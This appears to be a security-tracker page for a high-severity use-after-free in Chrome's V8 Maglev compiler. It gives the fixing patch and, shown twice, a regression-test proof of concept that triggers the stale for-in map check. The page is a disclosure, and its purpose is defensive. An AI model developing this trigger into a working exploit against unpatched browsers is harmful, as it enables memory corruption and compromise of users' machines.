Chrome · V8
CVE-2026-87587
UAF in V8
Overview
High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
Changed Functions
| Function | Change | Notes |
|---|---|---|
fortest/mjsunit/maglev/regress/regress-550360762.js |
modified |
Files Changed
src/maglev/maglev-graph-builder.ccsrc/maglev/maglev-graph-builder.htest/mjsunit/maglev/regress/regress-550360762.js
Patch
From dd7e9b5ef6d7b32fc5752b88ec84352b4903b821 Mon Sep 17 00:00:00 2001 From: Marco Vitale <[email protected]> Date: Mon, 31 Aug 2026 14:03:34 +0000 Subject: [PATCH] [maglev] Invalidate for-in receiver map check on inlined map changes When inlining a call inside an active for-in loop, operations in the inlinee may invalidate object maps. Previously, BuildEagerInlineCall copied the inlinee's final receiver_needs_map_check into the caller. If the inlinee iterated another object or validated hasOwnProperty, receiver_needs_map_check was reset to false, erroneously clearing the caller's requirement to re-check its own receiver map. Track whether map mutations occurred during inlining with may_have_changed_maps. In BuildEagerInlineCall, invalidate the caller's receiver map cache if any map change was observed in the inlinee. Fixed: 550360762 Change-Id: I7adcf8f479a162d82fb13b1b2f607ad54d8996ae Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/8322427 Commit-Queue: Marco Vitale <[email protected]> Reviewed-by: Darius Mercadier <[email protected]> Cr-Commit-Position: refs/heads/main@{#109603} --- diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc index 9e0916a..77acb55 100644 --- a/src/maglev/maglev-graph-builder.cc +++ b/src/maglev/maglev-graph-builder.cc @@ -7808,8 +7808,10 @@ // Propagate frame information back to the caller. current_interpreter_frame_.set_known_node_aspects( inner_graph_builder.current_interpreter_frame_.known_node_aspects()); - current_for_in_state.receiver_needs_map_check = - inner_graph_builder.current_for_in_state.receiver_needs_map_check; + if (inner_graph_builder.may_have_changed_maps()) { + may_have_changed_maps_ = true; + current_for_in_state.receiver_needs_map_check = true; + } // Resume execution using the final block of the inner builder. inner_graph_builder.reducer_.FlushNodesToBlock(); diff --git a/src/maglev/maglev-graph-builder.h b/src/maglev/maglev-graph-builder.h index fc531f9..b7daff4 100644 --- a/src/maglev/maglev-graph-builder.h +++ b/src/maglev/maglev-graph-builder.h @@ -1986,6 +1986,9 @@ // When set, inline only small functions. bool only_inline_small_ = false; + + bool may_have_changed_maps() const { return may_have_changed_maps_; } + bool may_have_changed_maps_ = false; }; template <bool is_possible_map_change> @@ -1996,6 +1999,7 @@ // TODO(leszeks): Track this on merge states / known node aspects, rather // than on the graph, so that it can survive control flow. if constexpr (is_possible_map_change) { + may_have_changed_maps_ = true; current_for_in_state.receiver_needs_map_check = true; } } diff --git a/test/mjsunit/maglev/regress/regress-550360762.js b/test/mjsunit/maglev/regress/regress-550360762.js new file mode 100644 index 0000000..7e8a663 --- /dev/null +++ b/test/mjsunit/maglev/regress/regress-550360762.js @@ -0,0 +1,48 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. +// +// Flags: --maglev --maglev-inlining --allow-natives-syntax + +const probe = {a: 1}; + +function Receiver(v) { + this.p0 = 10; + this.p1 = 11; + this.p2 = 12; + this.p3 = 13; + this.x = v; + this.y = 99; + for (let i = 0; i < 4; ++i) Object.defineProperty(this, 'p' + i, {enumerable: false}); +} + +function erasePressureThenRevalidate(victim, other) { + delete victim.x; + let key; + OUT: { + for (key in other) break OUT; + throw 0; + } + return other.hasOwnProperty(key); +} + +function vulnerable(victim, other) { + for (let key in victim) { + erasePressureThenRevalidate(victim, other); + return victim[key]; + } + return -1; +} + +%PrepareFunctionForOptimization(Receiver); +%PrepareFunctionForOptimization(erasePressureThenRevalidate); +%PrepareFunctionForOptimization(vulnerable); + +for (let i = 0; i < 2; ++i) { + vulnerable(new Receiver(0), probe); +} +%OptimizeMaglevOnNextCall(vulnerable); +vulnerable(new Receiver(0), probe); + +const victim = new Receiver(1337); +assertEquals(undefined, vulnerable(victim, probe));
Loading diff…
Regression Test / PoC
shipped with the fix
diff --git a/test/mjsunit/maglev/regress/regress-550360762.js b/test/mjsunit/maglev/regress/regress-550360762.js
new file mode 100644
index 0000000..7e8a663
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-550360762.js
@@ -0,0 +1,48 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --maglev --maglev-inlining --allow-natives-syntax
+
+const probe = {a: 1};
+
+function Receiver(v) {
+ this.p0 = 10;
+ this.p1 = 11;
+ this.p2 = 12;
+ this.p3 = 13;
+ this.x = v;
+ this.y = 99;
+ for (let i = 0; i < 4; ++i) Object.defineProperty(this, 'p' + i, {enumerable: false});
+}
+
+function erasePressureThenRevalidate(victim, other) {
+ delete victim.x;
+ let key;
+ OUT: {
+ for (key in other) break OUT;
+ throw 0;
+ }
+ return other.hasOwnProperty(key);
+}
+
+function vulnerable(victim, other) {
+ for (let key in victim) {
+ erasePressureThenRevalidate(victim, other);
+ return victim[key];
+ }
+ return -1;
+}
+
+%PrepareFunctionForOptimization(Receiver);
+%PrepareFunctionForOptimization(erasePressureThenRevalidate);
+%PrepareFunctionForOptimization(vulnerable);
+
+for (let i = 0; i < 2; ++i) {
+ vulnerable(new Receiver(0), probe);
+}
+%OptimizeMaglevOnNextCall(vulnerable);
+vulnerable(new Receiver(0), probe);
+
+const victim = new Receiver(1337);
+assertEquals(undefined, vulnerable(victim, probe));
Loading diff…
Original Bug Report
The reporter's bug is still restricted on the tracker. Chrome de-restricts security bugs ~30–90 days after the fix ships; a later run will backfill it here.
References
On This Page